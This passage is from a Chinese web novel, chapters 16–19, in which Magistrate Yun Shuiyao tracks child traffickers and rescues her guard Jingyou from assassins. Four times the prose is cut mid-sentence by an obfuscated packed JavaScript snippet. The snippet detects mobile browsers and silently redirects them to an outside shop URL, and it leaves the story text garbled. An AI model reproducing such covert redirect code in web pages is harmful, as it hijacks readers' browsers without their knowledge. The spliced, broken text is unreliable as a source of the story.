她不明白这是为什么,林御史是那种很喜欢摆谱的人,看着没什么内涵,可是他刚才的眼神却意味深长。 云水谣决定多留个心眼,她送林益敬去上房之后,走到庭院中,对身后的景佑说道:“我觉得你最近应该多加小心。” “大人何出此言?” “不知道……我总感觉怪怪的,好像有人在针对你。要不这样,你这些天一直跟其他护卫待在一起,不要单独行动,就算是吃饭、上茅厕也至少要找四五个人陪你一起。” 景佑笑道:“我又不是小孩。” “不,我这样提议自有道理,你身边人多,也许要杀你的人就不敢轻易动手。” “好,那就听大人的。” 到了下午,云水谣正准备休息,忽然有衙役来报:“大人,又有百姓来报,说自己的女儿失踪了!” 云水谣等的就是这一刻,她赶紧吩咐:“传令各城门加大排查力度,不能轻易放走任何人。” “大人,可要封锁城门?这样人贩子就出不去了。” “不,不封锁,只需加大排查力度便可。” 云水谣要等着人贩子出城,这样才能追踪他,找到他们的老巢。 但是首先,她得找出是谁拐走了孩子,这可有点难度。 衙役有些为难,对云水谣道:“大人,守城的士兵人手本就不够,若要加大排查力度,会减缓百姓进出的速度,引起百姓不满。” “若是能从哪里借点人手就好了。” “从洛县往北三十里,是游击将军杜羽的军营,大人可前往借兵。” “游击将军……是正四品?” “对。” 这个将军品级高,云水谣必须亲自前往借兵,方显诚意。 她吩咐道:“先按我说的做,各个城门需严密排查。若百姓不满,便说城门马上就会加派人手,让他们稍安勿躁。” “是。” 云水谣骑上马,往杜羽将军的军营而去。 没过多久,便到了军营。云水谣拿出令牌证明身份,士兵们不敢阻拦,报告了将军杜羽。 过了一会,便有人来请她进去:“云县令,我们将军有请,就在最中间那顶蓝色的帐子。” 云水谣一进大帐,就对上了一双深邃锐利的眼睛。 眼前之人一身蓝袍,头戴珠链,衣袍上点缀着各色宝石,肩膀上披着玄狐皮的披肩,手指修长,面容华贵,带着几分散漫不羁,正是游击将军杜羽。 他是长公主之子,听说素来豪放,喜欢华衣美饰,如今看来果真名不虚传。 他含笑打量着云水谣,一双琉璃般的眸子透露出聪慧狡黠和大将的威严。 如果不是亲眼所见,云水谣都想象不出人的眼睛可以这般深邃,情绪丰富,如同万顷之波。 他懒洋洋地开口,声音带着几分磁性:“云县令是来借兵的?” 云水谣赶紧答道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907773|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正是。洛县有案子,需要加强城门口的排查力度,但人手不够。还请杜将军相助一二,他日下官必会投桃报李。” 杜羽发出一声轻笑:“你能给我什么?” 云水谣被问住了。云家被抄家流放,自己也只是一个县令,俸禄不高,好像确实没什么东西拿得出手的。 她想了想,道:“等我攒够了钱,就买名贵的礼物送您。” “那我怕是要等到猴年马月。” “这……” “过来,会射箭吗?” “学过。” 杜羽把自己的弓递给她,指着一里开外的一个箭靶,道:“给你十支箭,若是都能正中靶心,我就借兵给你。” 云水谣接过弓,只觉手上一沉,几乎握不住。她赶紧发力握住这张弓,才没有当众丢脸。 只见这弓也十分华丽,上面缠着金线,镶嵌宝石,顶端还雕刻着一只栩栩如生的黑鹰。杜羽素爱黑鹰,这应该是他专用的弓。 杜羽又递给她十支箭,道:“若是做不到,趁早说明。” 云水谣被激起了不服输的劲,道:“有什么做不到的?将军且看着。” 云水谣深呼吸几次,放松心情,把注意力凝聚在弓箭上。 她站稳脚跟,弯弓射箭,正中靶心。一连三箭,都是如此。 只是,那三支箭已经把靶心填满了,其他箭很难再中靶心。 云水谣道:“我可以把那三支箭拔下来吗?” “这可不行。” 见杜羽有意为难,云水谣倒也不是毫无办法。只要接下来几箭更加用力,把前三支箭从靶心上挤下来,就可以了。只是,如果要这样做,力量、巧劲缺一不可。 云水谣以前也练过,并非是娇滴滴的小姑娘。她父亲行军打仗,她也经常去校场。只是,她已经很久没用弓箭了,有些生疏。 她深吸一口气,用力张弓拉箭。“嗖”的一箭射出,这支箭来到靶心时,把靶心上的其他三支箭都震了下来。这第四支箭,稳稳当当地中了靶心。 云水谣还待继续,杜羽拦住她:“云县令,我已见识到你的本领,不必再继续了。” “不是说十箭齐中才借兵给我吗?” “刚才不过是戏言,云县令不必在意。我已吩咐一百士兵集结在外,跟你离开,听你调遣。” 云水谣觉得他有些奇怪,但能借兵就好,因此道了谢,便离开了。 军营里,杜羽看着云水谣的背影,浅笑一声:“这位女官,倒有点意思。” 云水谣来到城门口,只见此地已经聚集了众多百姓。士兵们严密排查,速度很慢,百姓们已有不满之声。 云水谣赶紧让借来的士兵分散到各个城门口,以加速进度,百姓们这才声音小些。 云水谣暗中吩咐,若见到可疑之人,不必拦下,而是暗中跟踪,务必找到他们的老巢。 吩咐完毕后,云水谣便躲到一边查看。景佑早已奉命来到城门口,一会若要追踪,景佑自然也要参与。他的功夫是护卫中最好的。 景佑悄悄走到云水谣身边,道:“大人,到现在还没找到失踪的小女孩,幕后黑手会不会把小女孩藏在城中某一处?” 16. 拐子设计脱逃 县令巧妙追踪 “有可能,但他最终还是要把小女孩运出城的。我们已知幕后组织拐走小女孩是为了把她们培养成杀手,那么这些小女孩肯定要运到他们总坛去,不可能长时间躲在这里。只需继续盯着,拐子肯定会来到城门。” “是。” 他们又在城门口等了半天。 这时,有个运水车要出城,推车的是个干瘦的佝偻老者。士兵将其拦下,打开运水车上的水桶,见里面是空的,便要放行。 景佑忽然道:“大人,您看那运水车底下。” 隔得太远,云水谣看不清,道:“底下有什么?” “大人蹲下看看。” 云水谣蹲下,远远地看见那运水车底部似乎有什么东西,只是看不真切。 “水车底下有东西?” “是一个孩童。那运水的老者把孩童绑在水车底下,一般士兵只会怀疑水桶里面藏了人,搜查过后见没有,便不会有所怀疑。” 景佑是习武之人,目力过人,看得真切,云水谣吓了一跳,道:“这拐子当真好手段,还懂得如何避人耳目。景佑,你悄悄跟上,顺便多叫几个人一起跟。” “是。” 景佑悄悄走到城门口,跟几个士兵耳语几句。士兵们把那运水车放行,待运水的老者走远了,他们却悄悄跟上。 云水谣见已经找到拐子,接下来只需等景佑他们的追踪结果便好,略微放下心来,回到县衙处理政务。 来到县衙后堂,却见那监察御史林益敬还没走,正在那儿夸夸其谈,吹嘘自己的家族和自己的地位。属官们侍立一边,唯唯称是。 云水谣很瞧不上他这个人,但又没有办法,只能等他自己走了。这监察御史不干监察的事,来地方上作威作福,实在令人心烦。但他有随时面见皇帝、点评各县政务的权力,又不得不让他三分。 见云水谣来了,林御史的眼神似乎有一瞬间的锐利,随即又恢复了夸夸其谈、目中无人的模样。云水谣觉得他有些奇怪,却又说不上哪里奇怪。 接着,林御史跟云水谣谈天说地,还不停地指点云水谣为官之道。云水谣听得不耐烦,但也不得不做出恭敬的样子,满足林御史的虚荣心。 林御史说累了,才站起身来,到处逛去了,云水谣总算有空处理政务。这一忙,便到了晚上。 两个丫环带着晚饭来寻云水谣,云水谣胡乱吃了几口,暂时不打算回去,让丫环们在庭院中休息片刻。 这时,之前去追踪那拐子的士兵们回来了,向云水谣禀告:“大人,我们追踪那拐子到了城外,他先把运水车丢到山坳,然后把水车底下绑着的孩子装在麻袋里,我们便远远跟随。那拐子见四下无人,也不佝偻了,挺起身板,健步如飞,之前那副老态龙钟的样子竟是装出来的。 “谁知追了一阵,忽然出现了好几个蒙面蓝衣人,背上都背着一个相同的麻袋。他们遇见那拐子,将麻袋互相交换。由于交换速度太快,我们分不清那个装着小女孩的麻袋究竟到了谁手里,那拐子和其他几个蓝衣人又分头跑了,我们只得分头追,一人追一个。追到后来,我们全都追丢了,先回来向大人禀报。” “这么说,你们没救回那小女孩?” “没有,请大人恕罪。” “敌人狡猾,也不能全怪你们。只是,一开始你们尚能追到那拐子,为何后来跟丢了?” “那拐子在前半程好像隐藏了实力,跑得不快,我们追得上。自从他跟其他蓝衣人交换了麻袋后,便使尽全力,一会便跑得无影无踪。其他蓝衣人的轻身功夫也是如此了得,因此我们虽各自追踪,但无一例外都跟丢了。” “那些蓝衣人,应该是那拐子的同伙。只是,一个麻袋里装着孩子,自然跟普通麻袋有所不同,你们怎会分不清?” “那些麻袋里都装着东西,从外观上看,跟装小女孩的麻袋相似,他们互相交换后,确实分不清楚。” 云水谣总觉得事情有哪里不对。她忽然想起什么,问道:“景佑呢?” “景佑也追踪一个蓝衣人而去,莫非他还未回来?” “没有。你们为何能同时回来?” “也不是同时,只是大伙追丢的时间都差不多,返回时在城门口遇上了,便结伴回来复命。景佑的功夫在我等之上,想来他还没追丢,所以回来迟了。大人再等等,说不定他能带回好消息。” 云水谣想了想,道:“还是不对。” “大人,哪里不对?” “既然那个拐子的轻身功夫远在你们之上,他可以直接带着小女孩逃走,根本不怕你们追踪。那为何他要找来这么多同伙,交换麻袋,让你们分头追踪?最后的结果不是都一样吗?” “也许他是怕我们人多势众,要分散我们。” “你们都追不上他,人多有什么用?你们彼此的轻功又不能叠加,他只需要远远地跑走,根本不会有危险。” “确实如此,我等愚钝,实在参不透。” 云水谣忽然灵光一闪,随即担忧不已:“我明白了,这是针对景佑的!” “大人此言何意?” “这些蓝衣人的组织,不知为何在追杀景佑。这些天,我都让景佑与人同行,不可落单。但现在,他不就落了单了?” “大人的意思是,那拐子叫来这么多同伙,分散我们,就是为了让景佑落单,好继续刺杀他?” “没错。” “可是,这些人的目的不是多拐一些小女孩当杀手吗?他们为何又要针对景佑?” “因为景佑就是他们最近接的单子。有人出钱要他们杀景佑,可景佑天天与旁人同行,他们不方便下手。倒未必是打不过,而是万一景佑的同伴逃出去报信,会给他们增加麻烦。所以,他们要想法子让景佑落单。景佑往哪个方向追踪,你们还记得吗?” “记得,是西南方向。只是,过了这么久,不知他后来往什么方向去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907774|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “你们这边出两个人,另外带上十个身手好的护卫,去追景佑,我也一起去。其余人等留下休息。你们只需把我带到景佑离开的地方,便可加快速度去追,我在后面慢慢寻找线索。” “大人,您也要去?这太危险了。” “我有办案经验,虽未必能找到人,但也能发现一些细微的线索。” “大人,这些事还是交给我等,大人不要以身犯险。” “本官既为县令,便不可拈轻怕重。更何况,那些杀手既然早已离去,我现在出发,不会遇见他们,自然没有危险。” 见云水谣坚持,士兵们便按照云水谣说的做。 他们选出两个身体最好、尚有余力的士兵,带着十来个武功高强的护卫,和云水谣一起去找景佑。 其他几个士兵由于长途奔袭,已经比较累了,确实需要休息,便留在县衙的班房里。 他们一起骑马而行。云水谣虽会骑马,但不算擅长,速度比其他护卫慢些。为了把云水谣带到景佑失踪的地方,护卫们放慢脚步,跟在云水谣周围。 出城十五里,是一座荒废的寺庙。 有个士兵道:“大人,景佑就是在这里失踪的。当时我们追那拐子到此处,有一群蓝衣蒙面人从破庙里冲出来,跟拐子交换了麻袋,然后马上分头逃窜。景佑当时往西南方向追踪其中一个蓝衣人去了。” 云水谣点头:“好,那你们往这个方向寻找他,有线索就放烟花为号,没线索可以尽快回来,以自身安危为上。” 见云水谣如此关心他们,护卫们都十分感动,纷纷抱拳向云水谣施礼,然后领命而去。 云水谣也在后面慢慢地跟着。她觉得速度快不一定有用,景佑已经离开很久了,而且他和蓝衣杀手肯定使用轻功,在高处跳跃腾挪,地面上不会有太多痕迹,只怕盲目地追是找不到他的。 倒不如慢慢走着,也许能发现其他线索。 没过多久,就到了一个三岔路口。三条路上都有新鲜的马蹄印,那群护卫应该是兵分三路去找景佑了。看来他们也不能确定景佑到底往哪个方向去了。 云水谣却不能同时走三条路。她想了想,对这三条路稍作观察。左边的道路上落下了一些新鲜的绿叶,另外两条路没有。 洛县处于南方,气候温暖,有很多四季常绿的树木。如果不是外力的作用,这些新鲜树叶很少会掉落。 云水谣猜测,景佑应该是往左边去了。他追着那蓝衣人,两人使用轻功,肯定会踏着高处的树枝,这才把树叶踩落。 因此,云水谣便往左边的道路追。此后,每次遇到岔路口,她都按照这个方法追踪。 大约半个时辰后,她听见前方的树林里传来打斗的声音。她赶紧把马拴在一边,让它吃地上的草,以免发出声音。 接着,她悄悄往前走去,远远地看见一群蓝衣人在围攻一个黑衣少年。那黑衣少年偏过头来,正是景佑。 17. 蕉林奔逃智计百出 悬崖垂吊惊险万分 据那些士兵们说,景佑是追着其中一个蓝衣人而去的。现在他却被这么多人围攻,看来这杀手组织果然是想让景佑落单,然后围攻他。 景佑一个人应对这么多人,已经有些不支。云水谣不仅要想办法救景佑,也要设法抓一两个蓝衣杀手,逼问他们总坛的下落。 只是,她不会武功,只能干着急。 这时,林子里跑过来两只兔子,云水谣便暗中听那两只兔子说话。 只听它们道: “千万别去北边的芭蕉林,我刚才不小心跑进去,差点被黏住。” “为什么?” “不小心是谁,洒了一桶沥青在那里面,沥青快凝固了,要是踩上去,会被黏住的。” “好吧。” 云水谣心中一喜,想到了帮助景佑的办法。 景佑本就一边打斗,一边往芭蕉林那边去。大概是因为芭蕉林比较茂密,方便隐藏身形,且芭蕉树之间的间距较小,一旦杀手们也进入林中,就难以自如地发起攻击,会被芭蕉树挡住。 云水谣悄悄绕路,进了芭蕉林,找到了沥青所在。那些沥青果然快干了,发出刺鼻的味道。 她小心翼翼地绕过沥青,躲在一棵芭蕉树后面。 现在要想办法把景佑和杀手都引过来,但又要考虑到景佑和自己的安全。 如果杀手和景佑都被沥青黏住了,杀手们固然行动不便,景佑也是一样。如果自己贸然出去救他,只怕自己和景佑都有危险。 杀手们就算双脚被黏住,也能很快设法脱身,而且他们手上的武器可没被黏住,要杀死云水谣这弱女子可容易得很。 云水谣想了想,摘下自己的几件首饰,扔在自己藏身处附近。她穿的是官服,头上没法戴什么首饰,腰间倒是系着一些荷包、玉佩,而且都是景佑帮她挑选的。 但愿景佑能认出这些配饰,得知云水谣的藏身之处。 接着,云水谣摘下几片芭蕉叶,把叶片去了,留下叶柄。芭蕉叶很宽大,叶柄也很长,有一定硬度,可以当箭使用。 她虽不会武功,可从小练过弓箭,手臂的力气很大。她将这些叶柄一根一根地往杀手的方向掷去,虽然掷不到杀手身上,可也引起了杀手们的注意。 杀手们以为芭蕉林里藏了什么高手,准备相助景佑,扔芭蕉叶柄是在警告。他们如不撤退,说不定芭蕉林里的高手就要动真格的了。 他们虽有此猜测,可是也不能退。他们是杀手组织,接了单,就必须完成,否则有损组织的信誉。 因此,他们互相对视一眼,分出几个人去芭蕉林查看情况。另外几个人继续围攻景佑。 景佑这边的敌人减少,他马上振奋精神,占了上风,只是一时也杀不死人。他本来就想进入芭蕉林中躲避,只是之前被四面夹击,他突破不了重围。 现在围攻他的人变少,他且战且退,往北边的芭蕉林撤退。 而之前进入芭蕉林中寻找云水谣的杀手们,因为树林茂密,且天色渐黑,一时也发现不了云水谣,只能像没头苍蝇似的乱转。 芭蕉林很大,有沥青的地方只是一小部分,所以他们还没有踩到。 而另一边,景佑进入芭蕉林后,发现不远处有几件熟悉的首饰,看着像是云水谣的。他便往首饰所在地跑,谁知踩到地上的沥青,双脚被黏住了。 而对他紧追不舍的杀手们,也被沥青黏住了脚。 在这一瞬间,景佑心念数转。是趁此机会跟杀手们近身搏斗,还是想办法逃走?杀手们人多,等他们挣脱了沥青,还是有优势的,倒不如趁现在逃走。 景佑打定了主意,便立刻脱掉鞋子,飞身而起,上了一棵芭蕉树。而云水谣刚好躲在这棵芭蕉树的背面,他们俩互相看见了对方,景佑立刻飞身来到云水谣身边,拉着她跑。 景佑有很多话想问云水谣,包括她为何会来这里,为何会把首饰扔在外面。 可现在不是说话的时候,一旦说话就会暴露位置。他们只能手拉着手,东逃西窜。 而那些杀手们也纷纷脱掉鞋子,踏着芭蕉叶前行,寻找景佑的踪迹。 景佑和云水谣必须跑得又快,且动静要小,这样才有可能躲过杀手的追踪。 云水谣没有武功,她感觉到自己拖累了景佑,景佑为了照顾她的脚步,放慢了速度。 她想了想,干脆跳上景佑的后背,让他背着自己。这样,仅靠景佑的两条腿跑,会快一些。 景佑一开始有些惊讶,还有几分羞涩,但他很快就明白了云水谣的意图。只有他背着云水谣,才能提升速度,两人一起逃脱。 他们俩不需要一句话的沟通,便有这样的默契。 跑了一阵,他们来到一处山崖附近。山崖上有垂下去的藤蔓,景佑稍作思考,便对云水谣小声说道:“抓紧我。” 接着,他拽着藤蔓滑了下去,将自己吊在半山腰。 而在他们滑下去的一瞬间,那群杀手也追到了。 杀手们没看见他们滑下去的动作,四下张望不见人影,便站在崖边说话。 “景佑呢?” “应该还在芭蕉林里,我们分头找找。” “三四人一组,别太分散,我们单打独斗打不过他的。” “奇怪,刚才我还看见他的身影,怎么这一会就不见了?” “芭蕉林太大,他有的是地方藏身。只是我刚才见他背负一人,不知是谁。” “该不会是他找的帮手吧?” “若是帮手,怎会需要他背?” “这倒是,不知他背上是谁。别管这个了,反正我们接到的命令是杀了景佑,只找他就行。之前五组、六组都奉命杀景佑,没有完成,被堂主责罚了。咱们可不能失手。” “再去找找,我就不信他还能飞到天上去。” 这些杀手讨论了一会,便重新进入林子寻找起来。 云水谣听见这些杀手的声音,发现大部分都是女声,很少有男声。看来,这个杀手组织百尺楼确实抓了很多女孩,将她们培养成杀手。 说不定刚才这些杀手里,就有各县之前失踪的女孩在内。 云水谣也不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907775|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该怎么办了。如果下次见到这些杀手,直接告诉她们,她们被拐卖之后,家人都盼着她们回家,让她们赶紧放下武器,停止战斗? 可是,这样肯定不管用。她们既然进了杀手组织,就有自己的纪律,一切听头领的,不可能听云水谣的。 更何况,她们被拐走多年,可能已经忘了自己的来历。 只有将她们活捉,劝她们改邪归正,还有可能。 但活捉又谈何容易,她们履行杀人任务,是很容易被杀的。死了就没什么意义了,最多能把她们的尸体还给家人。 而且,她们背后既有如此庞大的组织,怕是杀手来源复杂,也未必都是被拐来的。 看来,自己还需小心从事,不能直接劝她们放下武器,投案自首。 她一边思考,一边紧紧抓着景佑。她知道下面是悬崖,有些紧张,牙齿都开始哆嗦了。 忽然,一阵大风吹来,将她们的身体吹斜。云水谣控制不稳重心,头朝下坠去! 就在这时,景佑腾出一只手来抓了云水谣一把,云水谣才继续攀上景佑的背,没有掉下去。 只是,她的心跳得非常快,像是要从嗓子眼里蹦出来一般。偏偏她还不能大喊以缓解压力,过大的声音肯定会引来杀手。 而景佑的情况也很不好,他本就被杀手刺伤了,力气也即将耗尽,还背着一个云水谣,藤蔓又有许多刺,已经扎进了他的手里。各种疼痛、疲惫、紧张、脱力的感觉裹挟着他,让他意识涣散。 他用力咬着嘴唇,让自己保持清醒。他能不能抓紧藤蔓,关系的可不止是自己的安危,还有云水谣的。 景佑内心有一个强烈的想法:一定要保住云水谣的性命,哪怕是牺牲自己。 察觉到景佑的疲惫,云水谣想自己伸手去够那条藤蔓,若是她能自己攀附在藤蔓上,就不需要景佑背着了。 可她们的身体随风摇摆,藤蔓又太细,云水谣够了好几次也没够着。 景佑小声道:“别乱动!” 他们现在只能依靠这条藤蔓,如果云水谣有什么差池,掉了下去,就断无生理了。 景佑还从来没有如此强势地命令过她,云水谣心中升起一丝奇异的感觉。不是生气,她也不知道是什么。她知道景佑只是紧张她的安危才这样说,自然不会责怪景佑。 时间已入深秋,天气有些冷,再加上山间的风有些猛,云水谣已经快撑不住了。她觉得自己浑身都在发抖,脸色应该已经变紫了。 她小声问道:“我们现在能上去了吗?” “等下,我还能听见那些杀手走动的声音。” 云水谣便咬牙忍着。 此刻她们上不顶天,脚不立地,天色太黑,也只能看到自己周围的一小片空间,天地之间仿佛只剩下他们两个人,有一种同舟共济、相依为命的感觉。 云水谣本该觉得揪心,可她靠在景佑的背上,却突然生出了一股踏实感。好像只要在景佑身边,即使挂在悬崖上,摇摇欲坠,心也是安定的。 景佑忽然对她说道:“我怀里有吃的。” 18. 云县令主仆言戏语 林御史甥舅怀异心 云水谣伸手,从景佑怀中掏出几个枣子。她有一种很快乐的感觉,往自己嘴里塞了一个枣子,又往景佑嘴里塞了一个。 她能听见自己和景佑吃东西的声音,有趣极了。 把枣子吃完,她觉得好一些了。 大约半个时辰后,上面的林子再也没有什么动静,景佑道:“抓稳了,我们爬上去。” 景佑费劲地往上爬,他的手被拽了这么久,早就疲惫不堪了,现在不过是勉强支撑。 他用脚夹住藤蔓,往上使劲,一点一点地挪上去。 大约两炷香后,他们终于到了山顶。景佑累得瘫倒在地,闭目休息。 云水谣情况也很不好,躺在景佑旁边。她觉得自己的手和脚都使不上力气了。 天色已暗,天边依稀有三五颗星,四周一片宁静。 景佑从小练武,恢复得快些。他觉得自己能走动了,便坐了起来,道:“大人,我们先离开吧,这里风大,时间长了会生病。” 云水谣摇头:“不,我想再歇会,我现在走不动。” 景佑有些担心她的身体,不想让她继续在山崖边待下去,便说了一声:“大人,得罪了。” 接着,他把云水谣抱了起来,往前走去。 云水谣觉得自己脸红了,不过此时天黑,景佑应该也看不出来。她凝视着景佑的侧脸,只觉得如白瓷般完美。也许是最近景佑经历的事情多了,脸上多了几分稳重和沧桑,但看起来更有气质了。 很快,他们找到了一个山洞。 景佑生了火,云水谣靠近火源烤了烤,觉得暖和一点了,有一种重新活过来的感觉。 景佑找了点野果给她吃,她便不停地吃着。 景佑忽然笑了一下。 云水谣问道:“你笑什么?” “没什么,大人看错了。” “我分明看见你笑了,你若不说,就治你的罪。” 景佑只得说道:“我只是觉得……大人吃东西的样子有点像松鼠。” “岂有此理!” “大人别生气,任您责罚。” 景佑在云水谣身边单膝跪地,静静看着她,似乎在表达歉意。 火光中,山洞里,少年的脸庞就在自己面前,平添了几分温馨之意。 云水谣忽然觉得这姿势有些奇怪,像是热恋中的男子在哄自己的恋人一般,她挪开了几步,装作若无其事道:“我可没生气,你别这样了,快起来吧。” 见景佑起来,坐在一块山石上,云水谣才想起正事,问道:“你今天发生了什么?为什么会有这么多杀手围攻你?” 景佑前面的经历,跟士兵们转述的一样。 他和士兵们白天追踪拐子出了城门,来到一座破庙附近。破庙中忽然出现一些蓝衣杀手,把各自的麻袋跟拐子交换。 景佑他们没看清装着小女孩的麻袋到谁手上了,只能分头追击。 景佑追着其中一个蓝衣人而去,到达这片树林时,林子里忽然跳出十几个蓝衣人,那麻袋里也跳出一个身材矮小的蓝衣杀手,一起围攻景佑。 景佑本来是想跟踪蓝衣人到他们的老巢的,没想到有这么多蓝衣人在此等着自己。 他摸不着头脑,但也只能先战斗。 后来云水谣就找来了,发生了后面的事。 云水谣分析道:“其他士兵完好无损地回来了,只有你遭到了围攻,这更像是一个针对你的局。” “大人的意思是,那拐子故意拐走一个小女孩,并让我看见,就是为了引我出去。由于我跟其他士兵一起追踪,拐子为了引开其他士兵,便叫来其他蓝衣人,交换麻袋,让我们不知道那小女孩究竟在哪个麻袋里,只能分头追踪。我无论追踪哪个人,最后都会有一堆杀手等着我。而其他士兵不是他们要杀的目标,所以就放他们回来。” “正是如此。” 云水谣发现,景佑总是能跟他想到一块去,根本用不着她过多解释。 景佑的嘴,倒像是她的第二张嘴。 他们虽是两个人,却是一心。这便是天作之合吗? 云水谣忽然有些惊讶,自己怎么会想到天作之合呢?这也不是形容上司和下属的呀。 自从认识景佑,她的心思就越来越乱了。这样可不好。 她逼迫自己保持正念。 接着,景佑又问她是如何找到自己,她说了自己靠地上的落叶判断景佑离开的方向,景佑有些惊异,眼中尽是对云水谣的欣赏。这眼神看得云水谣怪不好意思的,便又把话题引到了那些杀手身上。 景佑苦笑道:“我还真是值钱得很,要那些人绕这么大一圈来对付我。可惜没救出今日被拐的小女孩,不知她去什么地方了。” “那小女孩肯定被带回他们总坛,培养成杀手了,短时间内是不会有事的。如果我们能在近期攻破这个杀手组织,就可以救出很多年纪尚小的小女孩了。只是,有一点我觉得很奇怪。” “哪里奇怪?” “究竟是什么人非要置你于死地不可?按理说,你闯荡江湖时未曾与人结仇。而且,你也不是一直被追杀。到今天为止,是第三次。” “这事我也不明白。而且,我觉得幕后之人挺舍得花钱的。今日咱们在悬崖中间时,听那些蓝衣杀手聊天,好像提到什么五组、六组来追杀我,都没有成功,被责罚了。那么,今日的杀手应该是第三个组了。百尺楼先后派出三组人来追杀我,如此隆重,买我命的人应该花了不少钱。” “是啊……莫非你的存在,对某个人或是某个组织造成了严重的威胁?景佑,你是不是有什么隐藏身份?” 景佑苦笑:“如果有就好了,我就可以去享福了,不用在江湖上漂着。” “你身上有什么特殊的胎记吗?” “没有任何胎记。” “那就奇怪了……” “先不管这些,我们先想办法找到百尺楼的总坛。” “不,我总觉得你这几次被追杀,存在着一些疑点。自从你来到我身边,好多天都没人追杀你,第一次被追杀是在我们去雍州城,再回来的路上;第二次是今日……这说明我收留你之后,那些杀手其实找不到你在哪里。可是,为什么后来又找到你了?” “我跟在大人身边到处走,肯定有人发现的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907776|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “话虽如此,但一般人就算见到你,也没事,除非见到你的人跟杀手组织有联系。” 云水谣虽然难以猜到这其中的关窍,但没来由地想到了雍州长史元澄,和监察御史林益敬。 云水谣记得,这两个人第一次见到景佑的时候,都用一种很奇怪的眼神看过他。那种眼神是什么含义她分不清,但总归不是善意。 而元澄刚好跟林御史是甥舅关系……这两个人究竟跟景佑是什么关系呢? 按理说不该有什么关系,可是他们又为什么要用奇怪的眼神看景佑? 一般的官员见到其他官员的护卫,都不会加以注意的。就算景佑长得俊美些,他们注意到了,那也应该是流露出惊艳或赞叹的眼神,而不是其他。 而且,如今仔细想来,景佑上一次受到追杀,是在元澄见到他之后。这一次受到追杀,是在林御史见到他之后。 云水谣总觉得有什么想法呼之欲出,但又差一点点。 云水谣想到还有其他护卫一起去找景佑,现在自己找到人了,应该通知其他护卫,让他们回来,免得白白奔波。 本来约定了以烟花为号,可是刚才挂在悬崖上时,身上的烟花掉落了。这会没法通知其他护卫,只能先回县衙,再取一个烟花放了。 这些用于联络的烟花是特制的,跟寻常烟花不同,放到空中会形成三叶草的形状,护卫们一看便知。 云水谣站起身来,道:“我们现在赶回县衙去吧,还有好几个护卫跟我一起出来找你呢,看看他们回去没有。若是没有回来,还得用三叶草烟花来通知他们。” 她刚准备往外走,忽然身体一阵摇晃,有些头重脚轻。景佑赶紧扶住她。 云水谣捂着额头,道:“我大概是病了……” 刚才跟着景佑仓皇逃跑,又在悬崖中间吊了一个时辰,受山间冷风吹着,身体确实到了极限,生病也很正常。 景佑急道:“大人,我带您去找大夫!” “先回县衙吧,县衙附近有医馆。” 云水谣觉得头很疼,脸也很烫,很不舒服。说了这句话,感觉喉咙像是在被刀片割似的。正好景佑扶着她,她干脆倚靠着景佑。 她的眼神也有些模糊了,只看到景佑焦急的神色,却看不清他的五官了。 景佑情急之下,以手覆上她的额头,感受到灼热的温度,愈发担忧。 “大人,你坚持一下,我马上带你回城!” 景佑抱着云水谣走了几步,但又觉得手疼,毕竟他之前用手抓着藤蔓抓了很久。 他改为背着云水谣,让云水谣抱住他的脖颈。云水谣已经没多少力气了,景佑便将身子弯下,增加稳定,但他自己保持这个姿势却很费劲。 他顾不得自己劳累,只稳稳地驮着云水谣。他想去找自己的马,骑上马会快些。 可现在天色已晚,之前又经过一场激战,马儿怕是早就跑了,只能走路回城。 云水谣已经有些精神恍惚了,顾不得害羞,安稳地挂在景佑的背上,就像是小猴子紧紧抓住母猴子一般。 这时,她听见几只乌鸦在交谈。 19. 听鸦语知大夫住所 闻医言猜景佑身世 “西边那个大夫养的昙花快开花了,咱们去看看。” “你怎么知道那盆昙花要开?我之前去看了好几次,都没开。” “我对植物比较熟悉,知道什么时候能开花。昙花开时可好看了,咱们现在就去。” “好吧。要飞多远?” “不远,就七八里路。” 